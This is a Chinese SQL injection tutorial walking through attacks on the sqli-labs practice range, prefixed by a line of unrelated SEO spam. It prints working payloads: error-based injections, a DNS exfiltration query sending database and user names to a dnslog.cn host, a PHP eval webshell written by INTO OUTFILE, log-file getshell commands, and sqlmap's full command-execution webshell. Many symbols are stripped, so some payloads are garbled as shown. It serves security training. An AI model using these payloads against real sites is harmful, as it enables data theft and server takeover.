给别人做网站别人经营违法,做网站都需要什么软件,网站域名到期了怎么办,高端网站建设要到磐石网络文章目录 一、UA注入1、原理2、靶场演示#xff1a;1#xff09;一旦页面出现如下现状#xff0c;就可以使用UA注入2#xff09;BP抓包3#xff09;修改User-Agent 二、referer注入1、原理2、靶场演示#xff1a;1#xff09;使用BP抓包2#xff09;修改Referer 三、DN… 文章目录 一、UA注入1、原理2、靶场演示1一旦页面出现如下现状就可以使用UA注入2BP抓包3修改User-Agent 二、referer注入1、原理2、靶场演示1使用BP抓包2修改Referer 三、DNSLOG外带1、使用场景2、DNS3、注入所需条件4、使用方法5、靶场演示1生成一个DNS域名2开启MySQL中的secure_file_priv属性3使用BP进行操作4为什么要对查询的内容进行hex编码 四、cookie注入1、注入的原理2、靶场演示1通过BP抓包下面的情况就存在cookie注入2寻找注入点使用单引号测试3构造POC注入 五、宽字节注入1、注入原理2、靶场演示1下面这种情况就存在宽字节注入2构造POC注入 六、堆叠注入1、注入原理2、联合注入和堆叠注入的区别3、靶场模拟 七、二次注入1、注入原理2、使用场景3、靶场举例1下面例子存在二次注入2创建一个新的账号3修改新账号的密码4退出后再次登录查看结果5语句讲解 八、GETSHELL1、利用SQL注入获取MYSQL数据库权限的条件2、文件读写注入的原理3、文件读写注入的条件4、secure_file_priv选项5、常见网站的绝对路径6、路径获取常见方式7、读取文件1使用的函数2路径注意点3一般使用联合注入来一起使用4靶场演示 8、写入文件1使用的函数2outfile函数注意点3靶场演示 九、日志GETSHELL1、前提条件2、具体步骤3、靶场演示已知存在堆叠注入1先查看靶场是否开启了日志2使用堆叠注入开启日志3使用堆叠注入修改日志的路径 十、--os-shellsqlmap1、原理2、利用--os-shell命令的先决条件3、靶场演示3.1、用来执行系统命令文件3.2、上传文件的文件 一、UA注入
UA是用户代理User-Agent的缩写里面含有客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
1、原理
一些网站常常通过判断 UA 来给不同的操作系统、不同的浏览器发送不同的页面因此可能造成某些页面无法在某个浏览器中正常显示。此时就有可能存在UA 头注入一般会把数据插入到某张表中所以可以用报错注入。
2、靶场演示
1一旦页面出现如下现状就可以使用UA注入 页面上会对浏览器的版本进行辨别
2BP抓包 正常情况 在UA添加单引号引发报错 3修改User-Agent
构造的POC获取数据库名 1 and updatexml(1,concat(0x7e,database()),1) and 由于不知道是多少个参数所以前面的单引号是用来闭合前面的后面的单引号是用来闭合后面的这里不能使用#来对后面的参数进行省略。
后续获取其他数据的方法和上一节的联合注入大同小异。 二、referer注入
1、原理
报文中referer就是你的浏览器需要告诉服务器你是从哪个地方访问服务器的(来源)大部分网站或者app都会写入数据库用来分析量从哪里来以及统计广告投入的成本一般会把数据插入到某张表中所以可以用报错注入。
2、靶场演示 这个靶场会记录来源的IP地址
1使用BP抓包 正确输入的包 发生报错的数据包 2修改Referer
构造的POC获取数据库名 ’ and updatexml(1,concat(0x7e,database()),1) and ’
由于不知道是多少个参数所以前面的单引号是用来闭合前面的后面的单引号是用来闭合后面的这里不能使用 # 来对后面的参数进行省略。
后续获取其他数据的方法和上一节的联合注入大同小异。 三、DNSLOG外带
1、使用场景
通常我们面对SQL注入过程中没有回显的情况下只能通过盲注的方式来判断是否存在SQL注入但是使用盲注手工测试是需要花费大量的时间的可能会想到使用sqlmap直接去跑出数据但在实际测试中使用sqlmap跑盲注有很大的几率网站把ip给封掉这就影响了我们的测试进度也许你也可以使用代理池。
我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。
2、DNS
dns在解析的时候会留下记录。 简单来说当dns服务器是我们自己的时我们就可以通过查看日志来查询一些信息。
3、注入所需条件 1、dns带外查询属于MySQL注入在MySQL中有个系统属性 secure_file_priv特性该属性值必须为空等于号后面没有任何内容。 2、使用LOAD_FILE()函数LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。 语法为load_file(file_name)其中file_name是文件的完整路径 3、所以需要root权限并且服务器要为Windows操作系统。
4、使用方法
将dnslog平台中的特有字段payload带入目标发起dns请求通过dns解析将请求后的关键信息组合成新的三级域名带出在ns服务器的dns日志中显示出来。
5、靶场演示
1生成一个DNS域名
先在DNSlog平台上随机生成一个本地IP的DNS域名 29lrdw.dnslog.cn 本地ping一下该DNS域名的随机子域名 这里我随机输入的asd就成功带出来了。 2开启MySQL中的secure_file_priv属性 然后重启MySQL
3使用BP进行操作
利用注入语句获取数据库名使用的POC http:// 192.168.50.137:9006/Less-1/?id1and(selectload_file(concat(\\\\,(selectdatabase()),.29lrdw.dnslog.cn/qwe)))-- 返回DNSLOG页面查看 这里就把数据库名给带出来了 获取当前用户名使用的POC http:// 192.168.50.137:9006/Less-1/?id1and(selectload_file(concat(\\\\,(select hex(user())),.29lrdw.dnslog.cn/qwe)))-- 返回DNSLOG页面查看 使用hex解码 这样字就成功获得当前的用户名了。
4为什么要对查询的内容进行hex编码
如果我们要查询的用户名中存在特殊字符如!#$%^。最后在请求DNS服务器时变成!#$%^*. 29lrdw.dnslog.cn。存在特殊字符的域名无法解析。因此在DNS日志中也找不到我们查询的数据。因此需要编码后进行查询例如上述的用户名是rootlocalhost存在特殊字符这个是无法DNS服务器是无法解析的这就需要hex编码后查询出结果再解码。
在我们查询时当不确定查询结果是否存在特殊字符时最好先将其hex编码后再带入查询。 四、cookie注入
1、注入的原理
对get传递来的参数进行了过滤但是忽略了cookie也可以传递参数。 cookie注入其原理也和平时的注入一样只不过说我们是将提交的参数以cookie方式提交而一般的注入我们是使用get或者post方式提交。 get方式提交就是直接在网址后面加上需要注入的语句post则是通过表单方式get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数而另外一个却不能。
cookie注入修改自身cookie , 后台获取到这个cookie后 , 会直接拿去数据库里面进行比较 , 比较的时候就有可能注入。 注意该注入一般可以联合XSS攻击一起使用
2、靶场演示
1通过BP抓包下面的情况就存在cookie注入 2寻找注入点使用单引号测试 在cookie后面的admin添加一个单引号出现报错那么这里就存在注入
3构造POC注入
Cookie: unameadmin and updatexml(1,concat(0x7e,database()),1) # 注意上面的POC是使用#来忽略后面的内容而不是使用 - - 五、宽字节注入
1、注入原理
数据库使用GBK编码的时候会将两个字符合并成一个中文。特殊值字符如单引号都会被转义。如 - \ %27 - %5c%27 这时我们就可以在单引号 前面添加一个随机的GBK编码例如%df该编码会把斜杠 \ 吃掉从而把后面的单引号 ’ 解放出来%df%27在GBK编码中会变成%df%5c%27这时候%df%5c会合并成一个汉字剩下的%27 就被独立解放出来了。
2、靶场演示
1下面这种情况就存在宽字节注入 添加一个会自动添加\转义这种方法来进行过滤。
2构造POC注入
http:// 192.168.43.110:9006/Less-32/?id-1%df%27 union select 1,database(),user()-- 这样子就把数据库名和用户名获取到了。
注这里是假设已经知道了该表只有3列的前提具体前置过程可以参数前面的联合注入。 六、堆叠注入
1、注入原理
在SQL中分号;是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句会不会一起执行因此这个想法也就造就了堆叠注入。
2、联合注入和堆叠注入的区别
区别就在于union 或者union all执行的语句类型是有限的联合注入用来执行查询语句而堆叠注入可以执行的是任意的语句。
3、靶场模拟
如下图构造POC http:// 192.168.43.110:9006/ /Less-38/?id1; insert into users(id,username,password)values(100,kkkddd,kkkddd)--
接着返回靶场查看数据库 这样子就把创建用户的MySql命令注入成功了。 七、二次注入
1、注入原理
输入的内容会被转换成字符串形式存储到数据库从而会使得无法执行。那么我们就可以先把POC存储进数据库然后把存在数据里面的POC调取出来执行从而达到注入的效果。
一般情况下账户名是不允许输入 # \ ’ 等特殊符号的但可以做一个尝试假如真的尝试出来了那就可以尝试进行二次注入了。
2、使用场景
在知道某个账号名的存在而想修改该账号对应的密码。例如我知道存在一个账号叫admin然后我就创建一个账号叫admin#同时修改 admin’# 账号的密码从而达到修改 admin 的密码。
3、靶场举例
1下面例子存在二次注入
这里利用admin账号 正常登录我返回的数据包长度是265 上面无论我在login_user后面添加一个单引号还是两个单引号或者其他字符都会发生报错也就是说输入的内容会全部变换成字符串形式来进行存储、查询。
2创建一个新的账号
新账号名admin# 新账号密码123456 登录成功。
3修改新账号的密码
账号名admin# 新账号密码111111
4退出后再次登录查看结果
尝试登录admin#账号发现新改的密码111111无法登录还是得使用原来得旧密码123456。
尝试登录admin账号发现原来的密码admin无法登录密码变成了111111。
5语句讲解
这里是使用了下面的SQL语句 UPDATE users SET PASSWORD’111111’ where usernameadmin# and password’123456’;
这里不难看出调用时#后面的内容时全部忽略的变成 UPDATE users SET PASSWORD’111111’ where usernameadmin
原本时修改admin#账号就变成修改admin账号了。 八、GETSHELL
1、利用SQL注入获取MYSQL数据库权限的条件
1root用户最高权限2知道网站的绝对路径3secure_file_priv为空或者在网站的根目录下
2、文件读写注入的原理
就是利用文件的读写权限进行注入它可以写入一句话木马也可以读取系统文件的敏感信息。
3、文件读写注入的条件
高版本的MYSQL添加了一个新的特性secure_file_priv该选项限制了mysql导出文件的权限
4、secure_file_priv选项 1secure_file_priv 代表对文件读写没有限制 2secure_file_privNULL 代表不能进行文件读写 3secure_file_privd :/phpstudy /mysql/data 代表只能对该路径下文件进行读写
命令 show global variables like %secure% #查看mysql全局变量的配置
5、常见网站的绝对路径 1Windows常见 2Linux常见
6、路径获取常见方式
报错显示遗留文件漏洞报错平台配置文件等
7、读取文件
1使用的函数
使用load_file()读取文件
2路径注意点
路径不能使用反斜杠\。可以使用斜杠/、双反斜杠\\、0xchar转换的字符
3一般使用联合注入来一起使用
4靶场演示 4.1、在靶机创建文件 在C:\phpstudy_pro\WWW\sqli-labs-master目录下建立一个文件名1.txt内容是i am 1.txt 4.2、构造POC读取文件 在靶场使用SQL注入读取文件POC是 http://192.168.1.104:9006/Less-2/?id-1 union select 1,load_file(C:/phpstudy_pro/WWW/sqli-labs-master/1.txt),3–
同理该方法可以读取到任意的文件。一般实战中我们可以使用这种方法来读取网站的配置文件和日志文件。
注意上面的路径不能使用反斜杠\只能使用斜杠/和双反斜杠\\。
8、写入文件
1使用的函数
使用函数 into outfile能写入多行按格式输出和 into Dumpfile只能写入一行且没有脏数据
2outfile函数注意点
outfile后面本能接0x开头或者char转换以后的路径只能是单引号路径
3靶场演示
3.1、构造POC写入文件
现在要在C:\phpstudy_pro\WWW\sqli-labs-master目录下创建一个文件3.txt并写入内容POC是 http://192.168.1.104:9006/Less-2/?id-1 union select 1,‘helloword’,3 into outfile C:/phpstudy_pro/WWW/sqli-labs-master/3.txt-- 现在去写入目录查看 这里就把查询的内容全部都写入了。 注意假如写入的文件名已经存在是会写入失败的。
3.2、尝试写入shell
构造的POC http://192.168.1.104:9006/Less-2/?id-1 union select 1,?php%20eval($_POST[\x\]);?,3 into outfile C:/phpstudy_pro/WWW/sqli-labs-master/4.php-- 使用shell工具尝试连接 连接成功。 返回查看写入文件 3.3、into outfile 和 into Dumpfile的区别
into outfile无论怎样写入都会存在空格等脏数据into Dumpfile会自动清楚空格等脏数据
如上面例子只想留下单纯的php文本而不想要其他脏文本就可以使用into Dumpfile并且把1、3等字符换成‘’两个单引号的空字符 九、日志GETSHELL
1、前提条件
1、知道网站的绝对路径2、网站存在堆叠注入。3、拥有root权限
2、具体步骤
1、查询日志路径show variables like ‘%general%’;2、开启日志set global general_log on; 这个默认时关闭的3、设置日志路径set global general_log_file ‘D:\phpstudy_pro\WWW\shell.php’;4、随便把shell命令写入到日志中然后使用工具连接shell
3、靶场演示已知存在堆叠注入
1先查看靶场是否开启了日志
show variables like ‘%general%’; 这里默认是关闭的。
2使用堆叠注入开启日志
set global general_log on; 再返回靶场查看是否已开启 这里显示已经开启了。 3使用堆叠注入修改日志的路径
set global general_log_file ‘D:\phpstudy_pro\WWW\shell.php’; 返回靶场查看 明显日志路径已经改了。 4、随便在URL构造shell让他记录进日志 返回查看日志 这样子shell就成功写入到日志里面了。 十、–os-shellsqlmap
1、原理
–os-shell就是使用 udf 提权获取WebShell。也是通过 into oufile 向服务器写入两个文件一个可以直接执行系统命令一个进行上传文件
此为sqlmap的一个命令
2、利用–os-shell命令的先决条件
1、要求为DBA–is-dbaphpstudy搭建的一般为DBA2、secure_file_priv没有具体值3、知道网站的绝对路径4、GPC为offphp主动转义的功能关闭
3、靶场演示
sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id1 --os-shell
sqlmap 在指定的目录生成了两个文件文件名是随机的并不是固定的这里就生成了如下两个文件
tmpbeewq.php 用来执行系统命令tmpuqvgw.php 用来上传文件 3.1、用来执行系统命令文件
tmpbeewq.php的文件内容为
?php $c$_REQUEST[cmd];set_time_limit(0);ignore_user_abort(1);ini_set(max_execution_time,0);$zini_get(disable_functions);if(!empty($z)){$zpreg_replace(/[, ]/,,,$z);$zexplode(,,$z);$zarray_map(trim,$z);}else{$zarray();}$c$c. 21\n;function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f(system)){ob_start();system($c);$wob_get_clean();}elseif(f(proc_open)){$yproc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$wNULL;while(!feof($t[1])){$w.fread($t[1],512);}proc_close($y);}elseif(f(shell_exec)){$wshell_exec($c);}elseif(f(passthru)){ob_start();passthru($c);$wob_get_clean();}elseif(f(popen)){$xpopen($c,r);$wNULL;if(is_resource($x)){while(!feof($x)){$w.fread($x,512);}}pclose($x);}elseif(f(exec)){$warray();exec($c,$w);$wjoin(chr(10),$w).chr(10);}else{$w0;}echopre$w/pre;?尝试执行系统命令 3.2、上传文件的文件
使用tmpuqvgw.php上传文件 我们上传一个php的一句话后门